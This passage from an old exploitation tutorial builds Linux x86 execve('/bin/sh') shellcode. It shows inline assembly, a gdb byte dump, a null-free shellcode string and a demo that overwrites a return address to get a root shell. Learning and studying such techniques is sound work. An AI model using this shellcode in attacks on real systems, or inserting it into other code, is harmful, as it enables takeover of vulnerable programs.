  847. rewrite c0de with this changes and we get this 
  848.  
  849. --------------- shell3.cpp Code Starts Here --------------- 
  850. void main(){ 
  851. __asm__("jmp 0x18 \n" 
  852.         "popl %esi \n" 
  853.         "movl %esi,0x8(%esi) \n" 
  854.         "xorl %eax,%eax \n" 
  855.         "movb %al,0x7(%esi) \n" 
  856.         "movl %eax,0xc(%esi) \n" 
  857.         "movl %esi,%ebx \n" 
  858.         "leal 0x8(%esi),%ecx \n" 
  859.         "leal 0xc(%esi),%edx \n" 
  860.         "movb $0xb,%al \n" 
  861.         "int $0x80 \n" 
  862.         "call -0x1d \n" 
  863.         ".string \"/bin/sh\" \n"); 
  864. --------------- shell3.cpp Code Ends Here --------------- 
  865.  
  866. compile like this 
  867.  
  868. root@scorpion#cc shell3.cpp -o shell3 
  869. root@scorpion#gdb shell3 
  870. GNU gdb 4.18 
  871. Copyright 1998 Free Software Foundation, Inc. 
  872. GDB is free software, covered by the GNU General Public License, and you are 
  873. welcome to change it and/or distribute copies of it under certain conditions. 
  874. Type "show copying" to see the conditions. 
  875. There is absolutely no warranty for GDB.  Type "show warranty" for details. 
  876. This GDB was configured as "i686-pc-linux-gnu"... 
  877. (gdb) x/bx main+3                  <---------jmp strats here 
  878. 0x80483c3 <main+3>:     0xeb 
  879. (gdb) 
  880. 0x80483c4 <main+4>:     0x18 
  881. (gdb) 
  882. 0x80483c5 <main+5>:     0x5e 
  883. (gdb) 
  884. 0x80483c6 <main+6>:     0x89 
  885. (gdb) 
  886. 0x80483c7 <main+7>:     0x76 
  887. (gdb) 
  888. 0x80483c8 <main+8>:     0x08 
  889. (gdb) 
  890. 0x80483c9 <main+9>:     0x31 
  891. (gdb) 
  892. 0x80483ca <main+10>:    0xc0 
  893. (gdb) 
  894. 0x80483cb <main+11>:    0x88 
  895. (gdb) 
  896. 0x80483cc <main+12>:    0x46 
  897. (gdb) 
  898. 0x80483cd <main+13>:    0x07 
  899. (gdb) 
  900. 0x80483ce <main+14>:    0x89 
  901. (gdb) 
  902. 0x80483cf <main+15>:    0x46 
  903. (gdb) 
  904. 0x80483d0 <main+16>:    0x0c 
  905. (gdb) 
  906. 0x80483d1 <main+17>:    0x89 
  907. (gdb) 
  908. 0x80483d2 <main+18>:    0xf3 
  909. (gdb) 
  910. 0x80483d3 <main+19>:    0x8d 
  911. (gdb) 
  912. 0x80483d4 <main+20>:    0x4e 
  913. (gdb) 
  914. 0x80483d5 <main+21>:    0x08 
  915. (gdb) 
  916. 0x80483d6 <main+22>:    0x8d 
  917. (gdb) 
  918. 0x80483d7 <main+23>:    0x56 
  919. (gdb) 
  920. 0x80483d8 <main+24>:    0x0c 
  921. (gdb) 
  922. 0x80483d9 <main+25>:    0xb0 
  923. (gdb) 
  924. 0x80483da <main+26>:    0x0b 
  925. (gdb) 
  926. 0x80483db <main+27>:    0xcd 
  927. (gdb) 
  928. 0x80483dc <main+28>:    0x80 
  929. (gdb) 
  930. 0x80483dd <main+29>:    0xe8 
  931. (gdb) 
  932. 0x80483de <main+30>:    0xe3 
  933. (gdb) 
  934. 0x80483df <main+31>:    0xff 
  935. (gdb) 
  936. 0x80483e0 <main+32>:    0xff 
  937. (gdb) 
  938. 0x80483e1 <main+33>:    0xff 
  939. (gdb) 
  940. 0x80483e2 <main+34>:    0x2f 
  941. (gdb) 
  942. 0x80483e3 <main+35>:    0x62 
  943. (gdb) 
  944. 0x80483e4 <main+36>:    0x69 
  945. (gdb) 
  946. 0x80483e5 <main+37>:    0x6e 
  947. (gdb) 
  948. 0x80483e6 <main+38>:    0x2f 
  949. (gdb) 
  950. 0x80483e7 <main+39>:    0x73 
  951. (gdb) 
  952. 0x80483e8 <main+40>:    0x68       <---------c0de ends here 
  953. (gdb)quit 
  954.  
  955. rewrite program: 
  956.  
  957. -------------- shell4.cpp Code Starts Here ---------------- 
  958. char c0de[]= 
  959. "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" 
  960. "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" 
  961. "\x62\x69\x6e\x2f\x73\x68"; 
  962.  
  963. void main(){ 
  964.  char buf[5]; 
  965.  long *ret=(long *)(buf+12); 
  966.  *ret=(long)c0de; 
  967. -------------- shell4.cpp Code Ends Here ---------------- 
  968. compile  shell4.cpp 
  969. root@scorpion#cc shell4.cpp -o shell4 
  970. root@scorpion#./shell4 
  971. sh-2.03# 
  972.  
  973. It works...and it is smaller then our previous c0de and without 0x00 or 
  974. \x00 or '\0' so strcpy(),sprintf() will copy it at all... 
  975.  
  976. Here is simple program to print Stack pointer of current program: 
  977.  
  978. ------- sp.cpp Code Stars Here----------- 
  979. unsigned long get_esp(){ 
  980.  __asm__(" movl %esp,%eax \n"); 
  981.  
  982. void main(){ 
  983.  printf(" Stack pointer is 0x%x%\n",get_esp()); 
  984. ------- sp.cpp Code Ends Here----------- 
  985. root@scorpion#cc sp.cpp -o sp 
  986. root@scoprion#./sp 
  987.  Stack pointer is 0xbffff910  <--- your output will be other address or same 
  988. root@scorpion# 
  989.  
  990. Text was writen using vi and joe text editors 
  991.  
  992. -EOF- 
  993.  
  994.  
  995.  
  996.  
  997.